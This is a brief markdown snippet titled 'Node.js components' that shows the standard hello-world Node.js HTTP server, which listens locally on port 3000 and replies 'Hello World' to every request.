# # Node.js components

```
const http = require('http');
const hostname = '127.0.0.1';
const port = 3000;
const server = http.createServer((req, res)
=> {
  res.statusCode = 200;
  res.setHeader('Content-Type',
'text/plain');
  res.end('Hello World\n');
});
server.listen(port, hostname, () => {
console.log(`Server running at
http://${hostname}:${port}/`); });
```
